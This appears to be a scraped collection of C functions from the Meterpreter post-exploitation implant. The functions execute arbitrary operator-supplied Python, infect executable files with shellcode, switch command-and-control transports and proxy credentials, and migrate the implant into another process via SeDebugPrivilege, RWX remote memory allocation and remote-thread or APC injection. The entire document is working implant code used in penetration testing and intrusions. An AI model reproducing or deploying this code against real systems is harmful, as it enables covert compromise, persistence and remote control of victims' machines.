/*!
 * @brief Execute a block of python given in a string and return the result/output.
 * @param remote Pointer to the \c Remote making the request.
 * @param packet Pointer to the request \c Packet.
 * @returns Indication of success or failure.
 */
DWORD request_python_execute(Remote* remote, Packet* packet)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet* response = packet_create_response(packet);
	LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE);

	PyObject* mainModule = PyImport_AddModule("__main__");
	PyObject* mainDict = PyModule_GetDict(mainModule);

	if (pythonCode != NULL)
	{
		UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
		CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
		UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
		CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
		python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response);

		dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR);
		clear_std_handler(stderrBuffer);
		dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT);
		clear_std_handler(stdoutBuffer);

		packet_transmit_response(dwResult, remote, response);
	}

	return dwResult;
}
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet* response = packet_create_response(packet);

	if (response)
	{
		BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
		UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
		BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);

		char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
		if (shellcode != NULL)
		{
			dprintf("[PEINJECTOR] recived path: %s", target_executable_path);
			dprintf("[PEINJECTOR] recived shellcode: %s", shellcode);
			dprintf("[PEINJECTOR] recived size: %d", size);
			dprintf("[PEINJECTOR] is x64: %d", is_x64);

			PEINFECT infect;
			peinfect_init(&infect);

			__load_config(&infect, shellcode, size, is_x64);

			uint16_t arch = get_file_architecture(target_executable_path);
			dprintf("[PEINJECTOR] arch: %d", arch);

			if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) {

				if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) {
					dprintf("Shellcode injected successfully\n");
				}
				else {
					dprintf("There was an error, shellcode not injected\n");
					packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
				}
			}
			else {
				dprintf("The architecture of the file is incompatible with the selected payload\n");
				packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
			}

			packet_transmit_response(dwResult, remote, response);
		}
		else
		{
			dprintf("[PEINJECTOR] Shellcode parameter missing from call");
			dwResult = ERROR_INVALID_PARAMETER;
		}
	}
	return dwResult;
}
Exemplo n.º 3
0
DWORD request_core_set_uuid(Remote* remote, Packet* packet)
{
	Packet* response = packet_create_response(packet);
	BYTE *newUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);

	if (newUuid != NULL) {
		memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE);
	}

	if (response) {
		packet_transmit_response(ERROR_SUCCESS, remote, response);
	}

	return ERROR_SUCCESS;
}
/*!
 * @brief Remove a pivot point from the current Meterpreter instance.
 * @remote Pointer to the \c Remote instance.
 * @remote Pointer to the incoming request \c Packet instance.
 * @return Indication of error or success.
 */
DWORD request_core_pivot_remove(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_NOT_FOUND;
	LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID);

	if (pivotId != NULL)
	{
		PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId);
#ifdef DEBUGTRACE
			dprintf("[PIVOTTREE] Pivot listeners (after one removed)");
			dbgprint_pivot_tree(remote->pivot_listeners);
#endif
		if (ctx != NULL)
		{
			ctx->remove(ctx->state);
			free(ctx);
			result = ERROR_SUCCESS;
		}
	}

	packet_transmit_empty_response(remote, packet, result);

	return result;
}
Exemplo n.º 5
0
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
	DWORD result = ERROR_NOT_ENOUGH_MEMORY;
	Transport* transport = NULL;
	wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);

	TimeoutSettings timeouts = { 0 };

	int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
	timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
	timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
	timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);

	// special case, will still leave this in here even if it's not transport related
	if (sessionExpiry != 0)
	{
		remote->sess_expiry_time = sessionExpiry;
		remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
	}

	if (timeouts.comms == 0)
	{
		timeouts.comms = remote->transport->timeouts.comms;
	}
	if (timeouts.retry_total == 0)
	{
		timeouts.retry_total = remote->transport->timeouts.retry_total;
	}
	if (timeouts.retry_wait == 0)
	{
		timeouts.retry_wait = remote->transport->timeouts.retry_wait;
	}

	dprintf("[CHANGE TRANS] Url: %S", transportUrl);
	dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
	dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
	dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);

	do
	{
		if (transportUrl == NULL)
		{
			dprintf("[CHANGE TRANS] Something was NULL");
			break;
		}

		if (wcsncmp(transportUrl, L"tcp", 3) == 0)
		{
			MetsrvTransportTcp config = { 0 };
			config.common.comms_timeout = timeouts.comms;
			config.common.retry_total = timeouts.retry_total;
			config.common.retry_wait = timeouts.retry_wait;
			memcpy(config.common.url, transportUrl, sizeof(config.common.url));
			transport = remote->trans_create(remote, &config.common, NULL);
		}
		else
		{
			BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0;
			wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
			wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST);
			wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
			wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
			PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);

			MetsrvTransportHttp config = { 0 };
			config.common.comms_timeout = timeouts.comms;
			config.common.retry_total = timeouts.retry_total;
			config.common.retry_wait = timeouts.retry_wait;
			wcsncpy(config.common.url, transportUrl, URL_SIZE);

			if (proxy)
			{
				wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE);
				free(proxy);
			}

			if (proxyUser)
			{
				wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE);
				free(proxyUser);
			}

			if (proxyPass)
			{
				wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE);
				free(proxyPass);
			}

			if (ua)
			{
				wcsncpy(config.ua, ua, UA_SIZE);
				free(ua);
			}

			if (certHash)
			{
				memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE);
				// No need to free this up as it's not a wchar_t
			}

			transport = remote->trans_create(remote, &config.common, NULL);
		}

		// tell the server dispatch to exit, it should pick up the new transport
		result = ERROR_SUCCESS;
	} while (0);

	*transportBufer = transport;

	return result;
}
Exemplo n.º 6
0
/*!
 * @brief Set the current hash that is used for SSL certificate verification.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 */
DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet* response;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// no setting of the cert hash if the target isn't a HTTPS transport
		if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS)
		{
			result = ERROR_BAD_ENVIRONMENT;
			break;
		}

		unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
		HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;

		// Support adding a new cert hash if one doesn't exist
		if (!ctx->cert_hash)
		{
			if (certHash)
			{
				PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE);
				if (!newHash)
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					break;
				}

				memcpy(newHash, certHash, CERT_HASH_SIZE);

				// Set it at the last minute. Mucking with "globals" and all, want to make sure we
				// don't set it too early.. just in case.
				ctx->cert_hash = newHash;
			}
			else
			{
				// at this time, don't support overwriting of the existing hash
				// as that will cause issues!
				result = ERROR_BAD_ARGUMENTS;
				break;
			}
		}
		// support removal of the existing hash
		else
		{
			if (certHash)
			{
				result = ERROR_BAD_ARGUMENTS;
				break;
			}
			else
			{
				SAFE_FREE(ctx->cert_hash);
			}
		}

		result = ERROR_SUCCESS;
	} while (0);

	if (response)
	{
		packet_transmit_response(result, remote, response);
	}

	return result;
}
Exemplo n.º 7
0
/*!
 * @brief Migrate the meterpreter server from the current process into another process.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @param pResult Pointer to the memory that will receive the result.
 * @returns Indication of whether the server should continue processing or not.
 */
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hEvent = NULL;
	BYTE * lpPayloadBuffer = NULL;
	LPVOID lpMigrateStub = NULL;
	LPBYTE lpMemory = NULL;
	LPBYTE lpUuid = NULL;
	LPCOMMONMIGRATECONTEXT ctx = NULL;
	DWORD ctxSize = 0;
	DWORD dwMigrateStubLength = 0;
	DWORD dwPayloadLength = 0;
	DWORD dwProcessID = 0;
	DWORD dwDestinationArch = 0;

	MetsrvConfig* config = NULL;
	DWORD configSize = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the process identifier to inject into
		dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

		// Get the target process architecture to inject into
		dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);

		// Get the length of the payload buffer
		dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);

		// Receive the actual migration payload buffer
		lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

		// Get handles to the updated UUIDs if they're there
		lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);

		// Get the migrate stub information
		dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
		lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);

		dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);

		// If we can, get SeDebugPrivilege...
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		{
			TOKEN_PRIVILEGES priv = { 0 };

			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
			{
				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
				{
					dprintf("[MIGRATE] Got SeDebugPrivilege!");
				}
			}

			CloseHandle(hToken);
		}

		// Open the process so that we can migrate into it
		hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
		if (!hProcess)
		{
			BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
		}

		// get the existing configuration
		dprintf("[MIGRATE] creating the configuration block");
		remote->config_create(remote, lpUuid, &config, &configSize);
		dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);

		if (remote->transport->get_migrate_context != NULL)
		{
			dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx);
		}
		else
		{
			dwResult = get_migrate_context(&ctxSize, &ctx);
		}

		if (dwResult != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
			break;
		}

		// Create a notification event that we'll use to know when it's safe to exit 
		// (once the socket has been referenced in the other process)
		hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
		if (!hEvent)
		{
			BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
		}

		// Duplicate the event handle for the target process
		if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
		}

		dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);

		// Allocate memory for the migrate stub, context, payload and configuration block
		lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!lpMemory)
		{
			BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
		}

		// Calculate the address of the payload...
		ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;

		// Write the migrate stub to memory...
		dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
		if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
		}

		// Write the migrate context to memory...
		dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
		if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
		}

		// Write the migrate payload to memory...
		dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
		if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
		}

		// finally write the configuration stub
		dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
		if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
		}

		free(ctx);

		// First we try to migrate by directly creating a remote thread in the target process
		if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

			// If that fails we can try to migrate via a queued APC in the target process
			if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
			{
				BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
			}
		}

		dwResult = ERROR_SUCCESS;

	} while (0);

	SAFE_FREE(config);

	// If we failed and have not sent the response, do so now
	if (dwResult != ERROR_SUCCESS && response)
	{
		dprintf("[MIGRATE] Sending response");
		packet_transmit_response(dwResult, remote, response);
	}

	// Cleanup...
	if (hProcess)
	{
		dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess);
		CloseHandle(hProcess);
	}

	if (hEvent)
	{
		dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent);
		CloseHandle(hEvent);
	}

	if (pResult)
	{
		*pResult = dwResult;
	}

	// if migration succeeded, return 'FALSE' to indicate server thread termination.
	dprintf("[MIGRATE] Finishing migration, result: %u", dwResult);
	return ERROR_SUCCESS == dwResult ? FALSE : TRUE;
}